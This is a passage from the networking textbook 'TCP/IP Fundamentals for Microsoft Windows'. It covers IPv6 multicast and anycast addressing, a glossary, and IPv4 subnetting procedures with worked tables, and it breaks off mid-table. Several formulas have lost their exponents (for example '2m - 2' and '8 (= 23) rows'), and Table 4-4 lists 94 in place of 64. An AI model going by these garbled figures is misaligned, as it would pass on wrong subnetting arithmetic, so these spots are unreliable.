However, using the local-link scope, all-nodes multicast address as the Neighbor Solicitation message
destination would disturb all IPv6 nodes on the local link, so the solicited-node multicast address is
used. The solicited-node multicast address is constructed from the prefix FF02::1:FF00:0/104 and the
last 24 bits of a unicast IPv6 address. Figure 3-19 shows the mapping of a unicast IPv6 address to its
corresponding solicited-node multicast address.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 82
Figure 3-19 Creating the solicited-node multicast address
For example, Node A is assigned the link-local address of FE80::2AA:FF:FE28:9C5A and is also
listening on the corresponding solicited-node multicast address of FF02::1:FF28:9C5A. (The underlines
highlight the correspondence of the last six hexadecimal digits.) Node B on the local link must resolve
Node A’s link-local address FE80::2AA:FF:FE28:9C5A to its corresponding link-layer address. Node B
sends a Neighbor Solicitation message to the solicited-node multicast address of FF02::1:FF28:9C5A.
Because Node A is listening on this multicast address, it processes the Neighbor Solicitation message
and replies with a unicast Neighbor Advertisement message, completing the address resolution
process.
By using the solicited-node multicast address, link-layer address resolution, a common occurrence on a
link, does not disturb all network nodes. As a result, very few nodes are disturbed during address
resolution. In practice, the relationship between the link-layer address, the IPv6 interface ID, and the
solicited-node address allows the solicited-node address to act as a pseudo-unicast address for very
efficient address resolution.
IPv6 Anycast Addresses
An anycast address is assigned to multiple interfaces. The routing structure forwards packets
addressed to an anycast address so that they reach the nearest interface to which the anycast address
is assigned. To facilitate delivery, the routing infrastructure must be aware of the interfaces assigned
anycast addresses and their “distance” in terms of routing metrics. At present, anycast addresses are
used as destination addresses only. Anycast addresses are assigned out of the unicast address space,
and their scope matches that of the type of unicast address from which the anycast address is
assigned.
The Subnet-Router anycast address is created from the subnet prefix for a given interface. To construct
the Subnet-Router anycast address, you fix the bits in the 64-bit subnet prefix at their appropriate
values, and you set to 0 the bits in the Interface ID portion of the address. All router interfaces attached
to a subnet are assigned the Subnet-Router anycast address for that subnet. The Subnet-Router
anycast address can be used to communicate with one of multiple routers attached to a remote subnet,
for example, to obtain network management statistics for traffic on the subnet.
IPv6 Addresses for a Host
An IPv4 host with a single network adapter typically has a single IPv4 address assigned to that adapter.
An IPv6 host, however, usually has multiple IPv6 addresses—even with a single interface. An IPv6 host
is assigned the following unicast addresses:
A link-local address for each interface.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 83
Unicast addresses for each interface (which could be a site-local address and one or multiple global
unicast addresses).
The loopback address (::1) for the loopback interface.
IPv6 hosts typically have at least two addresses with which they can receive packets—a link-local
address for local link traffic and a routable site-local or global address.
Additionally, each host listens for traffic on the following multicast addresses:
The interface-local scope, all-nodes multicast address (FF01::1).
The link-local scope, all-nodes multicast address (FF02::1).
The solicited-node address for each unicast address on each interface.
The multicast addresses of joined groups on each interface.
IPv6 Addresses for a Router
An IPv6 router is assigned the following unicast and anycast addresses:
A link-local address for each interface.
Unicast addresses for each interface (which could be a site-local address and one or multiple global
unicast addresses).
A Subnet-Router anycast address.
Additional anycast addresses (optional).
The loopback address (::1) for the loopback interface.
Additionally, each router listens for traffic on the following multicast addresses:
The interface-local scope, all-nodes multicast address (FF01::1).
The interface-local scope, all-routers multicast address (FF01::2).
The link-local scope, all-nodes multicast address (FF02::1).
The link-local scope, all-routers multicast address (FF02::2).
The site-local scope, all-routers multicast address (FF05::2).
The solicited-node address for each unicast address on each interface.
The multicast addresses of joined groups on each interface.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 84
Comparing IPv4 and IPv6 Addressing
Table 3-5 lists IPv4 addresses and addressing concepts and their IPv6 equivalents.
IPv4 Address
IPv6 Address
Internet address classes
Not applicable in IPv6
IPv4 multicast addresses (224.0.0.0/4)
IPv6 multicast addresses (FF00::/8)
Broadcast addresses: network broadcast, subnet
broadcast, all-subnets directed broadcast, limited
broadcast
Not applicable in IPv6
Unspecified address is 0.0.0.0
Unspecified address is ::
Loopback address is 127.0.0.1
Loopback address is ::1
Public IPv4 addresses
Global unicast addresses
Private IPv4 addresses (10.0.0.0/8, 172.16.0.0/12, and
192.168.0.0/16)
Site-local addresses (FEC0::/10)
APIPA addresses (169.254.0.0/16)
Link-local addresses (FE80::/64)
Address syntax: dotted decimal notation
Address syntax: colon hexadecimal format with
suppression of leading zeros and zero compression.
Embedded IPv4 addresses are expressed in dotted
decimal notation.
Address prefix syntax: prefix length or dotted decimal
(subnet mask) notation
Address prefix syntax: prefix length notation only
Table 3-5 Comparing IPv4 and IPv6 Addressing
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 85
Chapter Summary
The key information in this chapter is the following:
You express IPv4 addresses in dotted decimal format. You express IPv4 address prefixes as a dotted
decimal form of the starting address with the prefix length indicated by either an integer number or a
dotted decimal number, also known as a subnet mask.
IPv4 uses unicast addresses to deliver a packet from one source to one destination, multicast
addresses to deliver a packet from one source to many destinations, and broadcast addresses to
deliver a packet from one source to every destination on the subnet.
For IPv4, you can use public unicast addresses (if assigned by ICANN or an ISP) or private addresses
(10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16). The TCP/IP components of Windows use APIPA
addresses to automatically configure hosts with addresses from the 169.254.0.0/16 address prefix on a
single subnet.
You express IPv6 addresses in colon hexadecimal format, suppressing leading zeros and compressing
a single set of contiguous blocks of zeros using double colon notation. You express IPv6 address
prefixes as a colon hexadecimal form of the starting address with a prefix length.
IPv6 uses unicast addresses, multicast addresses, and anycast addresses to deliver a packet from one
source to one of many destinations.
For unicast IPv6 addresses, you can use global addresses (if they are assigned by IANA or an ISP),
site-local addresses (FEC0::/10), or link-local addresses (FE80::/64). Link-local addresses require you
to specify a zone ID to identify the link for a destination. Site-local addresses require you to specify a
zone ID to identify the site for a destination if you are using multiple sites.
You typically derive IPv6 interface identifiers from IEEE 802 addresses or IEEE EUI-64 addresses.
The solicited-node multicast address is a special multicast address used for efficient link-layer address
resolution on a subnet.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 86
Chapter Glossary
address – An identifier that is assigned at the Internet layer to an interface or a set of interfaces and
that identifies the source or destination of IP packets.
address class – A predefined grouping of IPv4 addresses used on the Internet. Addresses classes
defined networks of specific sizes and determined the range of numbers that can be assigned for the
first octet in the IPv4 address. Classless Inter-Domain Routing (CIDR) has made classful IPv4
addressing obsolete.
address prefix – An address range that is defined by setting high-order fixed bits to defined values and
low-order variable bits to 0. Address prefixes are routinely used to express a range of allowable
addresses, subnet prefixes assigned to subnets, and routes. In IPv4, you express address prefixes in
prefix length or dotted decimal (subnet mask) notation. In IPv6, you express address prefixes in prefix
length notation.
anycast address – An address that is assigned from the unicast address space, identifies multiple
interfaces, and is used to deliver packets from one source to one of many destinations. With the
appropriate routing topology, packets addressed to an anycast address are delivered to the nearest
interface that has the address assigned.
APIPA – See Automatic Private IP Addressing (APIPA).
Automatic Private IP Addressing (APIPA) – A feature of the TCP/IP component in Windows
Server 2003 and Windows XP. APIPA enables a computer to autoconfigure an IPv4 address and
subnet mask from the range 169.254.0.0/16 when the TCP/IP component is configured for automatic
configuration and no DHCP server is available.
CIDR – See Classless Inter-Domain Routing (CIDR).
Class A IPv4 address – A unicast IPv4 address that ranges from 1.0.0.1 through 127.255.255.254. The
first octet indicates the address prefix, and the last three octets indicate the host ID. Classless Inter-
Domain Routing (CIDR) made classful IPv4 addressing obsolete.
Class B IPv4 address – A unicast IPv4 address that ranges from 128.0.0.1 through 191.255.255.254.
The first two octets indicate the address prefix, and the last two octets indicate the host ID. Classless
Inter-Domain Routing (CIDR) made classful IPv4 addressing obsolete.
Class C IPv4 address – A unicast IPv4 address that ranges from 192.0.0.1 to 223.255.255.254. The
first three octets indicate the address prefix, and the last octet indicates the host ID. Classless Inter-
Domain Routing (CIDR) made classful IPv4 addressing obsolete.
Classless Inter-Domain Routing (CIDR) – A technique for aggregating routes and assigning IPv4
addresses on the modern-day Internet. CIDR expresses address prefixes in the form of an address
prefix and a prefix length, rather than in terms of the address classes that CIDR replaces.
colon hexadecimal notation – The notation used to express IPv6 addresses. The 128-bit IPv6 address
is divided into eight 16-bit blocks. Each block is expressed as a hexadecimal number, and adjacent
blocks are separated by colons. Within each block, leading zeros are suppressed. An example of an
IPv6 unicast address in colon hexadecimal notation is 2001:DB8:2A1D:48C:2AA:3CFF:FE21:81F9.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 87
dotted decimal notation – The notation most commonly used to express IPv4 addresses. The 32-bit
IPv4 address is divided into four 8-bit blocks. Each block is expressed as a decimal number, and
adjacent blocks are separated by periods. An example of an IPv4 unicast address in dotted decimal
notation is 131.107.199.45.
double colon – The practice of compressing a single contiguous series of zero blocks of an IPv6
address to “::”. For example, the multicast address FF02:0:0:0:0:0:0:2 is expressed as FF02::2.
EUI – See Extended Unique Identifier.
EUI-64 address – A 64-bit link-layer address that is used as a basis for an IPv6 interface identifier.
Extended Unique Identifier – A link-layer address defined by the Institute of Electrical and Electronics
Engineers (IEEE).
global unicast address – An IPv6 unicast address that is globally routable and reachable on the IPv6
portion of the Internet. IPv6 global addresses are equivalent to public IPv4 addresses.
IEEE – Institute of Electrical and Electronics Engineers.
IEEE 802 address – A 48-bit link-layer address defined by the IEEE. Ethernet and Token Ring network
adapters use IEEE 802 addresses.
IEEE EUI-64 address – See EUI-64 address.
illegal address – A duplicate address that conflicts with a public IPv4 address that the ICANN has
already assigned to another organization.
link-local address – A local-use address with the prefix of FE80::/64 and whose scope is the local link.
Nodes use link-local addresses to communicate with neighboring nodes on the same link. Link-local
addresses are equivalent to Automatic Private IP Addressing (APIPA) IPv4 addresses.
loopback address – For IPv4, the address 127.0.0.1. For IPv6, the address 0:0:0:0:0:0:0:1 (or ::1).
Nodes use the loopback address to send packets to themselves.
multicast address – An address that identifies zero or multiple interfaces and is used to deliver packets
from one source to many destinations. With the appropriate multicast routing topology, packets
addressed to a multicast address are delivered to all interfaces identified by the address.
prefix length notation – The practice of expressing address prefixes as StartingAddress/PrefixLength, in
which PrefixLength is the number of high-order bits in the address that are fixed.
private addresses – IPv4 addresses that organizations use for private intranet addressing within one of
the following address prefixes: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
public addresses – IPv4 addresses that are assigned by the ICANN and that are guaranteed to be
globally unique and reachable on the IPv4 Internet.
site-local address – A local-use IPv6 address identified by the prefix FEC0::/10. The scope of a site-
local address is a site. Site-local addresses are equivalent to the IPv4 private address space. Site-local
addresses are not reachable from other sites, and routers must not forward site-local traffic outside the
site.
solicited-node multicast address – An IPv6 multicast address that nodes use to resolve addresses. The
solicited-node multicast address is constructed from the prefix FF02::1:FF00:0/104 and the last 24 bits
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 88
of a unicast IPv6 address. The solicited-node multicast address acts as a pseudo-unicast address to
efficiently resolve addresses on IPv6 links.
subnet mask – The expression of the length of an address prefix for IPv4 address ranges in dotted
decimal notation. For example, the address prefix 131.107.0.0/16 in subnet mask notation is
131.107.0.0, 255.255.0.0.
unicast address – An address that identifies a single interface and is used for delivering packets from
one source to a single destination. With the appropriate unicast routing topology, packets addressed to
a unicast address are delivered to a single interface.
unspecified address – For IPv4, the address 0.0.0.0. For IPv6, the address 0:0:0:0:0:0:0:0 (or ::). The
unspecified address indicates the absence of an address.
zone ID – An integer that specifies the zone of the destination for IPv6 traffic. In the Ping, Tracert, and
Pathping commands, the syntax for specifying a zone ID is IPv6Address%ZoneID. Typically, the
ZoneID value for link-local addresses is equal to the interface index. For site-local addresses, ZoneID is
equal to the site number. The ZoneID parameter is not needed when the destination is a global address
and when multiple sites are not being used.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 89
Chapter 4 – Subnetting
Abstract
This chapter describes the details of subnetting for both IPv4 and IPv6 address prefixes. Network administrators need
to thoroughly understand subnetting techniques for both types of address prefixes to efficiently allocate and administer
the unicast address spaces assigned and used on private intranets. This chapter includes detailed discussions of
different subnetting techniques for IPv4 and IPv6 address prefixes. By using these techniques, you can determine
subnetted address prefixes and, for IPv4, the range of usable IPv4 addresses for each new subnetted address prefix.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 90
Chapter Objectives
After completing this chapter, you will be able to:
Determine the subnet prefix of an IPv4 address when expressed in prefix length or subnet mask
notation.
Determine how many IPv4 host ID bits you need to create a particular number of subnets.
Subnet an IPv4 address prefix within an octet and across octet boundaries, enumerating the list of
subnetted address prefixes and the ranges of valid IPv4 addresses for each subnetted address prefix.
Define variable length subnetting and how you can use it to create subnetted address prefixes that
match the number of hosts on a particular subnet.
Subnet a global IPv6 address prefix, enumerating the list of subnetted address prefixes.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 91
Subnetting for IPv4
Subnetting is a set of techniques that you can use to efficiently divide the address space of a unicast
address prefix for allocation among the subnets of an organization network. The fixed portion of a
unicast address prefix includes the bits up to and including the prefix length that have a defined value.
The variable portion of a unicast address prefix includes the bits beyond the prefix length that are set to
0. Subnetting is the use of the variable portion of a unicast address prefix to create address prefixes
that are more efficient (that waste fewer possible addresses) for assignment to the subnets of an
organization network.
Subnetting for IPv4 was originally defined to make better use of the host bits for Class A and Class B
IPv4 public address prefixes. Consider the example network in Figure 4-1.
Figure 4-1 Network 157.60.0.0/16 before subnetting
The subnet using the class B address prefix of 157.60.0.0/16 can support up to 65,534 nodes, which is
far too many nodes to have on the same subnet. You want to better use the address space of
157.60.0.0/16 through subnetting. However, subnetting 157.60.0.0/16 should not require the
reconfiguration of the routers of the Internet.
In a simple example of subnetting, you can subnet 157.60.0.0/16 by using the first 8 host bits (the third
octet) for the new subnetted address prefix. If you subnetted 157.60.0.0/16 as shown in Figure 4-2, you
would create separate subnets with their own subnetted address prefixes (157.60.1.0/24,
157.60.2.0/24, 157.60.3.0/24), with up to 254 host IDs on each subnet. The router would become aware
of the separate subnetted address prefixes and route IPv4 packets to the appropriate subnet.
Figure 4-2 Network 157.60.0.0/16 after subnetting
The routers of the Internet would still regard all the nodes on the three subnets as being located on the
address prefix 157.60.0.0/16. The Internet routers would be unaware of the subnetting being done to
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 92
157.60.0.0/16 and therefore require no reconfiguration. The subnetting of an address prefix is not
visible to the routers outside the network being subnetted.
When you assign IPv4 address prefixes in the form of subnet prefixes to the subnets of your
organization, you should begin with one or more public address prefixes assigned by the Internet
Corporation for Assigned Names and Numbers (ICANN) or an Internet service provider (ISP), the
private address space (10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), or both. The set of starting
address prefixes represent a fixed address space.
You can divide the variable portion of an IPv4 address prefix to represent additional subnets and the
host IDs on each subnet. For example, the IPv4 address prefix 131.107.192.0/18 has 18 fixed bits (as
the prefix length shows) and 14 variable bits (the bits in the host ID portion of the address prefix). You
might determine that your organization needs up to 50 subnets. Therefore, you divide the 14 variable
bits into 6 bits, which you will use to identify subnets (you can express up to 64 subnets with 6 bits) and
8 bits, which you will use to identify up to 254 host IDs on each subnet. The resulting address prefix for
each subnetted address prefix has a 24-bit prefix length (the original 18 bits plus 6 bits used for
subnetting).
Subnetting for IPv4 produces a set of subnetted address prefixes and their corresponding ranges of
valid IPv4 addresses, By assigning subnetted address prefixes that contain an appropriate number of
host IDs to the physical and logical subnets of an organization’s IPv4 network, network administrators
can use the available address space in the most efficient manner possible.
Before you begin IPv4 subnetting, you must determine your organization’s current requirements and
plan for future requirements. Follow these guidelines:
Determine how many subnets your network requires. Subnets include physical or logical subnets to
which hosts connect and possibly private wide area network (WAN) links between sites.
Determine how many host IDs each subnet requires. Each host and router interface running IPv4
requires at least one IPv4 address.
Based on those requirements, you will define a set of subnetted address prefixes with a range of valid
IPv4 addresses for each subnetted address prefix. Your subnets do not all need to have the same
number of hosts; most IPv4 networks include subnets of various sizes.
Although the concept of subnetting by using host ID bits is straightforward, the actual mechanics of
subnetting are a bit more complicated. Subnetting requires a three-step procedure:
1. Determine how many host bits to use for the subnetting.
2. Enumerate the new subnetted address prefixes.
3. Enumerate the range of IPv4 addresses for each new subnetted address prefix.
Determining the Subnet Prefix of an IPv4 Address Configuration
Before you begin the mechanics of IPv4 subnetting, you should be able to determine the subnet prefix
from an arbitrary IPv4 address configuration, which typically consists of an IPv4 address and a prefix
length or an IPv4 address and a subnet mask. The following sections show you how to determine the
subnet prefix for IPv4 address configurations when the prefix length is expressed in prefix length and
dotted decimal (subnet mask) notation.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 93
Prefix Length Notation
To determine the subnet prefix from an arbitrary IPv4 address using prefix length notation (w.x.y.z/n),
take the values of the high-order n bits of the address and combine them with 32-n zero bits. Then
convert the resulting 32-bit number to dotted decimal notation.
For example, for the IPv4 address configuration of 192.168.207.47/22, the high-order 22 bits are
11000000 10101000 110011. To obtain the subnet prefix, combine this result with the low-order 10 bits
of 00 00000000. The result is 11000000 10101000 11001100 00000000, or 192.168.204.0/22.
To determine the subnet prefix of an IPv4 address configuration in prefix length notation without having
to work entirely with binary numbers, use the following method:
1. Express the number n (the prefix length) as the sum of 4 numbers by successively subtracting 8 from
n. For example, 20 is 8+8+4+0.
2. Create a table with four columns and three rows. In the first row, place the decimal octets of the IPv4
address. In the second row, place the four digits of the sum you determined in step 1.
3. For the columns that have 8 in the second row, copy the octet from the first row to the third row. For
the columns that have 0 in the second row, place a 0 in the third row.
4. For the columns that have a number between 8 and 0 in the second row, convert the decimal number
in the first row to binary, take the high-order bits for the number of bits indicated in the second row, fill
the rest of the bits with zero, and then convert to a decimal number.
For example, for the IPv4 address configuration of 192.168.207.47/22, 22 is 8+8+6+0. From this,
construct the following table:
192
168
207
47
8
8
6
0
For the first and second octets, copy the octets from the first row. For the last octet, place a 0 in the
third row. The table becomes:
192
168
207
47
8
8
6
0
192
168
0
For the third octet, convert the number 207 to binary for the first 6 binary digits using the decimal to
binary conversion method described in Chapter 3, "IP Addressing." The decimal number 207 is
128+64+8+4+2+1, which is 11001111. Taking the first 6 digits 110011 and filling in the octet with 00
produces 11001100, or 204 in decimal. The table becomes:
192
168
207
47
8
8
6
0
192
168
204
0
Therefore, the subnet prefix for the IPv4 address configuration 192.168.207.47/22 is 192.168.204.0/22.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 94
Subnet Mask Notation
To extract the subnet prefix from an arbitrary IPv4 address configuration using an arbitrary subnet
mask, IPv4 uses a mathematical operation called a logical AND comparison. In an AND comparison,
the result of two items being compared is true only when both items being compared are true;
otherwise, the result is false. Table 4-1 shows the result of the AND operation for the four possible bit
combinations.
Bit Combination
Result
1 AND 1
1
1 AND 0
0
0 AND 0
0
0 AND 1
0
Table 4-1 Result of AND Operation
Therefore, the result of the AND operation is 1 only when both bits being ANDed are 1. Otherwise, the
result is 0.
IPv4 performs a logical AND comparison with the 32-bit IPv4 address and the 32-bit subnet mask. This
operation is known as a bit-wise logical AND. The result of the bit-wise logical AND of the IPv4 address
and the subnet mask is the subnet prefix.
For example, to determine the subnet prefix of the IPv4 address configuration 131.107.189.41 with a
subnet mask of 255.255.240.0, turn both numbers into their binary equivalents, and line them up. Then
perform the AND operation on each bit, and write down the result.
IPv4 Address: 10000011 01101011 10111101 00101001
Subnet Mask:
11111111 11111111 11110000 00000000
Subnet Prefix: 10000011 01101011 10110000 00000000
The result of the bit-wise logical AND of the 32 bits of the IPv4 address and the subnet mask is the
subnet prefix 131.107.176.0, 255.255.240.0. The behavior of the bit-wise logical AND operation
between the IPv4 address and the subnet mask is the following:
For the bits in the fixed portion of the address (in which the bits in the subnet mask are set to 1), the
subnet prefix bits are copied from the IPv4 address, essentially extracting the subnet prefix of the IPv4
address.
For the bits in the variable portion of the address (in which the bits in the subnet mask are set to 0), the
subnet prefix bits are set to 0, essentially discarding the host ID portion of the IPv4 address.
To summarize, the bit-wise logical AND extracts the subnet prefix portion and discards the host ID
portion of an IPv4 address. The result is the subnet prefix.
To determine the subnet prefix of an IPv4 address configuration in subnet mask notation without having
to work entirely with binary numbers, use the following method:
1. Create a table with four columns and three rows. In the first row, place the decimal octets of the IPv4
address. In the second row, place the decimal octets of the subnet mask.
2. For the columns that have 255 in the second row, copy the octet from the first row to the third row.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 95
For the columns that have 0 in the second row, place a 0 in the third row.
3. For the columns that have a number between 255 and 0 in the second row, AND the decimal
numbers in the first two rows. You can do this by converting both numbers to binary, performing the
AND comparison for all 8 bits in the octet, and then converting the result back to decimal. Alternately,
you can use a calculator, such as the Windows Calculator, in scientific mode.
For example, for the IPv4 address configuration of 131.107.189.41, 255.255.240.0, construct the
following table:
131
107
189
41
255
255
240
0
For the first and second octets, copy the octets from the first row. For the last octet, place a 0 in the
third row. The table becomes:
131
107
189
41
255
255
240
0
131
107
0
For the third octet, compute 189 AND 240. In binary, this operation becomes:
10111101
AND 11110000
10110000
Converting 10110000 to decimal is 176. Alternately, use the Windows Calculator to compute 189 AND
240, which yields 176.
The table becomes:
131
107
189
41
255
255
240
0
131
107
176
0
Therefore, the subnet prefix for the IPv4 address configuration 131.107.189.41, 255.255.240.0 is
131.107.176.0, 255.255.240.0.
Defining a Prefix Length
The number of variable bits in the subnet prefix determines the maximum number of subnets and hosts
on each subnet that you can have.
Before you define a new prefix length based on your subnetting scheme, you should have a good idea
of the number of subnets and hosts you will have in the future. If you use more variable bits for the new
prefix length than required, you will save the time and administrative difficulty of renumbering your IPv4
network later.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 96
The more variable bits that you use, the more subnets you can have—but with fewer hosts on each
subnet. If you make the prefix too long, it will allow for growth in the number of subnets, but it will limit
the growth in the number of hosts on each subnet. If you make the prefix too short, it will allow for
growth in the number of hosts on each subnet, but it will limit the growth in the number of subnets.
Figure 4-3 shows an example of subnetting the third octet.
Figure 4-3 Tradeoff between number of subnets and number of hosts per subnet
Follow these guidelines to determine the number of bits to use for a new prefix length when subnetting:
1. Determine how many subnets you need now and will need in the future.
2. Use additional bits for subnetting if:
You will never require as many hosts per subnet as allowed by the remaining bits.
The number of subnets will increase, requiring additional bits from the host ID.
Defining a new prefix length depends on how many subnets you need. Table 4-2 shows how many
subnets you can create by using a particular number of variable bits (up to 16) to specify each subnet.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 97
Number of Subnets
Number of Host Bits
1-2
1
3-4
2
5-8
3
9-16
4
17-32
5
33-64
6
65-128
7
129-256
8
257-512
9
513-1,024
10
1,025-2,048
11
2,049-4,096
12
4,097-8,192
13
8,193-16,384
14
16,385-32,768
15
32,769-65,536
16
Table 4-2 Number of Required Subnets and Host Bits
The maximum prefix length for unicast IPv4 addresses is 30. With 30 bits for the subnet prefix, the two
remaining bits can express up to 4 possible combinations. However, the all-zeros and all-ones host IDs
are reserved. Therefore, with two host ID bits, you can express only two usable host IDs (the 01 and 10
combinations).
To determine the maximum number of hosts per subnet for any subnetting scheme:
1. Determine m, the number of bits that remain for the host ID, by subtracting the subnetted prefix
length from 32.
2. Calculate the maximum number of hosts per subnet from 2m - 2.
Based on the address prefix you are subnetting and the number of bits that you need for subnetting,
you can determine whether you are subnetting within an octet or subnetting across an octet boundary.
For example, if you start with an 18-bit address prefix and then use 4 bits for subnetting, then you are
subnetting within the third octet. (The subnetted prefix length is 22, which is still within the third octet.)
However, if you start with a 20-bit address prefix and then use 6 bits for subnetting, then you are
subnetting across the third and fourth octets. (The original prefix length is 20, which is within the third
octet, and the subnetted prefix length is 26, which is within the fourth octet.)
As the following sections describe, the specific procedures for subnetting within an octet and subnetting
across an octet boundary are very different.
Subnetting Within an Octet
When you subnet within an octet, the subnetting procedure has two main steps:
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 98
Defining the subnetted address prefixes
Defining the range of usable IPv4 addresses for each subnetted address prefix
The following sections describe these steps.
Defining the Subnetted Address Prefixes
You can use two methods to define the set of subnetted address prefixes:
Binary
Decimal
To create an enumerated list of subnetted address prefixes by using binary, perform the following
steps:
1. Based on n, the number of bits chosen for subnetting, create a three-column table with 2n rows. The
first column contains the subnet numbers (starting with 1), the second column contains binary
representations of the subnetted address prefixes, and the third column contains dotted decimal
representations of the subnetted address prefixes.
For each binary representation, the bits corresponding to the address prefix being subnetted are
fixed at their original values, and all host bits are always set to 0. Only the subnet bits vary as you set
them to each possible binary value.
2. In the first row, set the subnet bits to all 0s, and convert the entire subnetted address prefix to dotted
decimal notation. The result is the original address prefix with its new prefix length.
3. In the next row, increment the value within the subnet bits.
4. Convert the binary result to dotted decimal notation.
5. Repeat steps 3 and 4 until you complete the table.
For example, you can perform a 3-bit subnetting of the private address prefix 192.168.0.0/16. The
subnet mask for the new subnetted address prefixes is 255.255.224.0 or /19. Based on n = 3, construct
a table with 8 (= 23) rows, as Table 4-3 shows. In the row for subnet 1, set all subnet bits (those
underlined in the table) to 0, and increment them in each subsequent row.
Subnet
Binary Representation
Subnetted Address Prefix
1
11000000.10101000.00000000.00000000
192.168.0.0/19
2
11000000.10101000.00100000.00000000
192.168.32.0/19
3
11000000.10101000.01000000.00000000
192.168.64.0/19
4
11000000.10101000.01100000.00000000
192.168.96.0/19
5
11000000.10101000.10000000.00000000
192.168.128.0/19
6
11000000.10101000.10100000.00000000
192.168.160.0/19
7
11000000.10101000.11000000.00000000
192.168.192.0/19
8
11000000.10101000.11100000.00000000
192.168.224.0/19
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 99
Table 4-3 Binary Subnetting Technique for the 3-bit Subnetting of 192.168.0.0/16
Note RFCs 950 and 1122 prohibit setting the bits being used for subnetting to all 1s or all 0s (the all-ones
and all-zeros subnets). However, RFC 1812 permits this practice.
To create an enumerated list of subnetted address prefixes by working with decimal numbers, perform
the following steps:
1. Based on f, the number of bits in the octet that are already fixed, and n, the number of bits you are
using for subnetting, compute the subnet increment value, i, based on the following formula: i = 2(8-f-
n). The result is the incrementing value for each subnet for the octet that you are subnetting.
2. Based on n, the number of bits you are using for subnetting, create a three-column table with 2n
rows. The first column contains the subnet numbers (starting with 1), the second column contains the
decimal representations of the octet being subnetted, and the third column contains the dotted
decimal representations of the subnetted address prefixes.
3. In the first row, set the second column to the starting octet value in the address prefix being
subnetted, and set the third column to the original address prefix with its new prefix length.
4. In the next row, set the second column to the result of incrementing the number from the previous
row with i, and set the third column to the subnetted address prefix with the subnetted octet from the
second row.
5. Repeat step 4 until you complete the table.
For example, to perform a 3-bit subnet of the private address prefix 192.168.0.0/16, compute the
subnet increment from i = 2(8-f-n). In this case, f=0 and n=3. Therefore, the subnet increment is 2(8-0-3) =
2(5) = 32. The prefix length for the subnetted address prefixes is /19. Based on n = 3, construct a table
with 8 (= 23) rows as Table 4-4 shows. In the row for subnet 1, place the original address prefix with the
new prefix length, and complete the remaining rows by incrementing the subnetted octet by 32.
Subnet
Decimal Value of the Subnetted Octet
Subnetted Address Prefix
1
0
192.168.0.0/19
2
32
192.168.32.0/19
3
94
192.168.64.0/19
4
96
192.168.96.0/19
5
128
192.168.128.0/19
6
160
192.168.160.0/19
7
192
192.168.192.0/19
8
224
192.168.224.0/19
Table 4-4 Decimal Subnetting Technique for the 3-bit Subnetting of 192.168.0.0/16
Defining the Range of IPv4 Addresses for Each Subnet
You can use two methods to define the range of IPv4 addresses for each subnet:
Binary
Decimal
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 100
To define the possible host IDs within each subnet, you keep the bits in the subnetted address prefix
fixed while setting the remaining bits (in the host portion of the IPv4 address) to all possible values
except all 1s and all 0s. Recall from Chapter 3, “IP Addressing,” that you should use the following
standard practice when defining the range of valid IPv4 unicast addresses for a given address prefix:
For the first IPv4 unicast address in the range, set all the host bits in the address to 0, except for the
lowest-order bit, which you set to 1.
For the last IPv4 unicast address in the range, set all the host bits in the address to 1, except for the
lowest-order bit, which you set to 0.
The result for each subnetted address prefix is a range of values that describe the possible unicast IPv4
addresses for that subnet.
To define the range of valid IPv4 addresses for a set of subnetted address prefixes using the binary
method, perform the following steps:
1. Based on n, the number of host bits chosen for subnetting, create a three-column table with 2n rows.
The first column contains the subnet numbers (starting with 1), the second column contains the
binary representations of the first and last IPv4 addresses for the subnetted address prefixes, and the
third column contains the dotted decimal representation of the first and last IPv4 addresses of the
subnetted address prefixes. Alternately, add two columns to the previous table used for enumerating
the subnetted address prefixes using the binary technique.
2. In the second column of the first row, the first IPv4 address is the address in which all the host bits
are set to 0 except for the last host bit. The last IPv4 address is the address in which all the host bits
are set to 1 except for the last host bit.
3. In the third column of the first row, convert the binary representation to dotted decimal notation.
4. Repeat steps 2 and 3 for each row until you complete the table.
For example, Table 4-5 shows the range of IPv4 addresses for the 3-bit subnetting of 192.168.0.0/16
with the host bits underlined.
Chapter 4 – Subnetting
TCP/IP Fundamentals for Microsoft Windows
Page: 101
Subnet
Binary Representation
Range of IPv4 Addresses
1
11000000.10101000.00000000.00000001 –
11000000.10101000.00011111.11111110
192.168.0.1 –192.168.31.254
2
11000000.10101000.00100000.00000001 –
11000000.10101000.00111111.11111110
192.168.32.1 –192.168.63.254
3
11000000.10101000.01000000.00000001 –
11000000.10101000.01011111.11111110
192.168.64.1 –192.168.95.254
4
11000000.10101000.01100000.00000001 –
11000000.10101000.01111111.11111110
192.168.96.1 –192.168.127.254
5
11000000.10101000.10000000.00000001 –
11000000.10101000.10011111.11111110
192.168.128.1 –192.168.159.254
6
11000000.10101000.10100000.00000001 –
11000000.10101000.10111111.11111110
192.168.160.1 –192.168.191.254
7
11000000.10101000.11000000.00000001 –
11000000.10101000.11011111.11111110
